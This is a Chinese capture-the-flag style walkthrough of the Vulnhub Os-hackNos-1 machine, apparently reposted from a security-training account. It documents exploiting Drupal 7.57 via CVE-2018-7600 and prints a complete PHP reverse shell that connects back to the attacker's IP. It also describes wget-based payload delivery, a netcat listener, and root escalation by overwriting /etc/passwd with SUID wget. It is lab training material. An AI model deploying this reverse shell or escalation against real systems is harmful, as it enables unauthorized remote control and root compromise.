Vulnhub靶机练习笔记-Os-hackNos-1

admin 2023年5月21日15:00:17评论11 views字数 4286阅读14分17秒阅读模式
                     

学网安渗透

扫码加我吧

免费&进群

Vulnhub靶机练习笔记-Os-hackNos-1  
Vulnhub靶机练习笔记-Os-hackNos-1

Track安全社区投稿~  

千元稿费!还有保底奖励~

vulnhub靶机下载

https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

靶场环境:

NAT模式
kali:192.168.242.131
靶机:192.168.242.142

渗透

nmap探测靶机
Vulnhub靶机练习笔记-Os-hackNos-1
开放了80和22端口
Vulnhub靶机练习笔记-Os-hackNos-1

dirsearch对80端口进行目录扫描,发现drupal目录
Vulnhub靶机练习笔记-Os-hackNos-1
dirb也扫一边,貌似dirb扫到的结果比dirsearch多,所以在实战的时候可以用多个不同的工具进行信息收集,这样才更全面
Vulnhub靶机练习笔记-Os-hackNos-1

访问drupal目录,是一个登录界面,弱口令登录测试无果,换换别的思路
Vulnhub靶机练习笔记-Os-hackNos-1

前面dirb发现在drupal目录下有robots.txt文件,说不定里面有啥线索
好家伙,网站的路径全都暴露出来了,看到CHANGELOG.txt这个文件
Vulnhub靶机练习笔记-Os-hackNos-1

这里给出了Drupal的版本是7.57,百度搜一下该版本的漏洞看看能否直接利用
Vulnhub靶机练习笔记-Os-hackNos-1

百度后找到CVE-2018-7600,Drupal 7.x 和 8.x 的多个子系统中存在一个远程执行代码漏洞。
下载exp
Vulnhub靶机练习笔记-Os-hackNos-1

exp成功执行,存在命令执行漏洞
Vulnhub靶机练习笔记-Os-hackNos-1

-c参数加命令
Vulnhub靶机练习笔记-Os-hackNos-1

到这里的思路就很清晰了,上传木马,反弹shell
先在本地写一段php的反弹shell木马
修改ip为kali的ip,监听端口10086
Vulnhub靶机练习笔记-Os-hackNos-1

  1. <?php

  2. // php-reverse-shell - A Reverse Shell implementation in PHP

  3. // Copyright (C) 2007 [email protected]

  4. set_time_limit (0);

  5. $VERSION = "1.0";

  6. $ip = '192.168.242.131'; // You have changed this

  7. $port = 10086; // And this

  8. $chunk_size = 1400;

  9. $write_a = null;

  10. $error_a = null;

  11. $shell = 'uname -a; w; id; /bin/sh -i';

  12. $daemon = 0;

  13. $debug = 0;

  14. //

  15. // Daemonise ourself if possible to avoid zombies later

  16. //

  17. // pcntl_fork is hardly ever available, but will allow us to daemonise

  18. // our php process and avoid zombies. Worth a try...

  19. if (function_exists('pcntl_fork')) {

  20. // Fork and have the parent process exit

  21. $pid = pcntl_fork();

  22. if ($pid == -1) {

  23. printit("ERROR: Can't fork");

  24. exit(1);

  25. }

  26. if ($pid) {

  27. exit(0); // Parent exits

  28. }

  29. // Make the current process a session leader

  30. // Will only succeed if we forked

  31. if (posix_setsid() == -1) {

  32. printit("Error: Can't setsid()");

  33. exit(1);

  34. }

  35. $daemon = 1;

  36. } else {

  37. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

  38. }

  39. // Change to a safe directory

  40. chdir("/");

  41. // Remove any umask we inherited

  42. umask(0);

  43. //

  44. // Do the reverse shell...

  45. //

  46. // Open reverse connection

  47. $sock = fsockopen($ip, $port, $errno, $errstr, 30);

  48. if (!$sock) {

  49. printit("$errstr ($errno)");

  50. exit(1);

  51. }

  52. // Spawn shell process

  53. $descriptorspec = array(

  54. 0 => array("pipe", "r"), // stdin is a pipe that the child will read from

  55. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to

  56. 2 => array("pipe", "w") // stderr is a pipe that the child will write to

  57. );

  58. $process = proc_open($shell, $descriptorspec, $pipes);

  59. if (!is_resource($process)) {

  60. printit("ERROR: Can't spawn shell");

  61. exit(1);

  62. }

  63. // Set everything to non-blocking

  64. // Reason: Occsionally reads will block, even though stream_select tells us they won't

  65. stream_set_blocking($pipes[0], 0);

  66. stream_set_blocking($pipes[1], 0);

  67. stream_set_blocking($pipes[2], 0);

  68. stream_set_blocking($sock, 0);

  69. printit("Successfully opened reverse shell to $ip:$port");

  70. while (1) {

  71. // Check for end of TCP connection

  72. if (feof($sock)) {

  73. printit("ERROR: Shell connection terminated");

  74. break;

  75. }

  76. // Check for end of STDOUT

  77. if (feof($pipes[1])) {

  78. printit("ERROR: Shell process terminated");

  79. break;

  80. }

  81. // Wait until a command is end down $sock, or some

  82. // command output is available on STDOUT or STDERR

  83. $read_a = array($sock, $pipes[1], $pipes[2]);

  84. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

  85. // If we can read from the TCP socket, send

  86. // data to process's STDIN

  87. if (in_array($sock, $read_a)) {

  88. if ($debug) printit("SOCK READ");

  89. $input = fread($sock, $chunk_size);

  90. if ($debug) printit("SOCK: $input");

  91. fwrite($pipes[0], $input);

  92. }

  93. // If we can read from the process's STDOUT

  94. // send data down tcp connection

  95. if (in_array($pipes[1], $read_a)) {

  96. if ($debug) printit("STDOUT READ");

  97. $input = fread($pipes[1], $chunk_size);

  98. if ($debug) printit("STDOUT: $input");

  99. fwrite($sock, $input);

  100. }

  101. // If we can read from the process's STDERR

  102. // send data down tcp connection

  103. if (in_array($pipes[2], $read_a)) {

  104. if ($debug) printit("STDERR READ");

  105. $input = fread($pipes[2], $chunk_size);

  106. if ($debug) printit("STDERR: $input");

  107. fwrite($sock, $input);

  108. }

  109. }

  110. fclose($sock);

  111. fclose($pipes[0]);

  112. fclose($pipes[1]);

  113. fclose($pipes[2]);

  114. proc_close($process);

  115. // Like print, but does nothing if we've daemonised ourself

  116. // (I can't figure out how to redirect STDOUT like a proper daemon)

  117. function printit ($string) {

  118. if (!$daemon) {

  119. print "$string

  120. ";

  121. }

  122. }

  123. ?>

用python开http服务,把木马在该目录
Vulnhub靶机练习笔记-Os-hackNos-1

ev.php就是刚刚的木马
Vulnhub靶机练习笔记-Os-hackNos-1

利用exp执行命令wget下载木马到靶机
Vulnhub靶机练习笔记-Os-hackNos-1

查看一下
Vulnhub靶机练习笔记-Os-hackNos-1

打开nc监听
Vulnhub靶机练习笔记-Os-hackNos-1

访问ev.php
Vulnhub靶机练习笔记-Os-hackNos-1

成功反弹
Vulnhub靶机练习笔记-Os-hackNos-1
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’切换完整的交互式bash
Vulnhub靶机练习笔记-Os-hackNos-1

此目录下的alexander.txt有一段base64编码的密文
Vulnhub靶机练习笔记-Os-hackNos-1
解一下,发现还有一段Brainfuck
Vulnhub靶机练习笔记-Os-hackNos-1
继续解,解完是一个账号和密码
Vulnhub靶机练习笔记-Os-hackNos-1
切到james的目录下找到第一个flag
Vulnhub靶机练习笔记-Os-hackNos-1

提权

先看看suid提权,需要搜索到,带有s的文件
普通用户也可执行wget
Vulnhub靶机练习笔记-Os-hackNos-1

现在提权的思路就是先下载靶机上的passwd,然后添加一个有root权限的用户到构造的passwd文件中,然后使用wget -O把构造的passwd内容重定向输入到原本的/etc/passwd中

把内容复制出来到kali上
Vulnhub靶机练习笔记-Os-hackNos-1

构造一个账户
Vulnhub靶机练习笔记-Os-hackNos-1

添加到kali构造的passwd文件,加上root权限
Vulnhub靶机练习笔记-Os-hackNos-1

还是用exp命令执行wget -O重定向
Vulnhub靶机练习笔记-Os-hackNos-1

登录eval账号
root权限,成功提权
Vulnhub靶机练习笔记-Os-hackNos-1

~目录下找到第二个flag
Vulnhub靶机练习笔记-Os-hackNos-1

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.


Vulnhub靶机练习笔记-Os-hackNos-1

没看够~?欢迎关注!




分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号

 

Vulnhub靶机练习笔记-Os-hackNos-1

 分享后扫码加我



回顾往期内容


Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

Vulnhub靶机练习笔记-Os-hackNos-1

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力


原文始发于微信公众号(掌控安全EDU):Vulnhub靶机练习笔记-Os-hackNos-1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月21日15:00:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub靶机练习笔记-Os-hackNos-1http://cn-sec.com/archives/1749748.html

发表评论

匿名网友 填写信息